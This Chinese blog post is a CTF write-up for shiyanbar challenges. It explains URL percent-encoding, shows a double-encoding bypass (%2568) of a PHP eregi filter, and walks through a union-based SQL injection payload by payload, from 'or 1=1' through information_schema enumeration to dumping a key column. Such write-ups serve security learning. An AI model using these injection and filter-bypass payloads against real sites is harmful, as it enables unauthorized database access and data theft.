• url编码&&PHP大法&&这个看起来有点简单&&HTML 中有用的字符实体


    URL编码

    Url编码通常也被称为百分号编码(Url Encoding,also known as percent-encoding),是因为它的编码方式非常简单,使用%百分号加上两位的字符——0123456789ABCDEF——代表一个字节的 十六进制形式。Url编码默认使用的字符集是US-ASCII。例如a在US-ASCII码中对应的字节是0x61,那么Url编码之后得到的就 是%61,我们在地址栏上输入http://g.cn/search?q=%61%62%63,实际上就等同于在google上搜索abc了。又如@符号 在ASCII字符集中对应的字节为0x40,经过Url编码之后得到的是%40。

      对于非ASCII字符,需要使用ASCII字符集的超集进行编码得到相应的字节,然后对每个字节执行百分号编码。对于Unicode字 符,RFC文档建议使用utf-8对其进行编码得到相应的字节,然后对每个字节执行百分号编码。如"中文"使用UTF-8字符集得到的字节为0xE4 0xB8 0xAD 0xE6 0x96 0x87,经过Url编码之后得到"%E4%B8%AD%E6%96%87"。

      如果某个字节对应着ASCII字符集中的某个非保留字符,则此字节无需使用百分号表示。例如"Url编码",使用UTF-8编码得到的字节是 0x55 0x72 0x6C 0xE7 0xBC 0x96 0xE7 0xA0 0x81,由于前三个字节对应着ASCII中的非保留字符"Url",因此这三个字节可以用非保留字符"Url"表示。最终的Url编码可以简化 成"Url%E7%BC%96%E7%A0%81" ,当然,如果你用"%55%72%6C%E7%BC%96%E7%A0%81"也是可以的。

    PHP大法

    <?php
    if(eregi("hackerDJ",$_GET[id])) {
      echo("<p>not allowed!</p>");
      exit();
    }
    
    $_GET[id] = urldecode($_GET[id]);
    if($_GET[id] == "hackerDJ")
    {
      echo "<p>Access granted!</p>";
      echo "<p>flag: *****************} </p>";
    }
    ?>
    
    
    <br><br>
    Can you authenticate to this website?

    如果id=hackerDJ不输出flag但是解码后的id=hackerDJ可以输出flag

    %的编码为%25,h的编码为%68,所以合起来为%2568,

    所以 payload:

    http://ctf5.shiyanbar.com/DUTCTF/index.php?id=%2568ackerDJ

    得到flag:

     这个看起来有点简单

    payload1:http://ctf5.shiyanbar.com/8/index.php?id=1 or 1=1

    得到:

    可知,此题是sql注入,没有过滤or

    payload2:http://ctf5.shiyanbar.com/8/index.php?id=1 order by 2

    但是order by 3是错的,所以有两个字段,即有两列,补充关于order by 1,2:

    order by 几,对应的就是第几列

    payload3:http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,2

    结果:输出1,2两个数字

    payload4:http://ctf5.shiyanbar.com/8/index.php?id=1 union select 1,database()

    输出1和数据库

    payload5:http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database()

    从imformation_schema.tables中输出table_schema是数据库的table_name

    payload6:http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_name='thiskey'

    输出table_name=thiskey的column_name

    payload7:http://ctf5.shiyanbar.com/8/index.php?id=1 and 1=2 union select 1,k0y from my_db.thiskey

    输出key

    HTML中有用的实体符号:

    用法:<p>&#174</p>

  • 相关阅读:
    mysql基础知识详解
    MySQL连接无法解析HOST主机名
    jQuery 判断页面元素是否存在
    jquery判断元素的子元素是否存在
    jQuery操作CheckBox的方法(选中,取消,取值)
    签署您的应用--手动签署 APK
    深入理解net core中的依赖注入、Singleton、Scoped、Transient(四)
    深入理解net core中的依赖注入、Singleton、Scoped、Transient(三)
    深入理解net core中的依赖注入、Singleton、Scoped、Transient(二)
    深入理解net core中的依赖注入、Singleton、Scoped、Transient(一)
  • 原文地址:https://www.cnblogs.com/liuyimin/p/7746382.html
Copyright © 2020-2023  润新知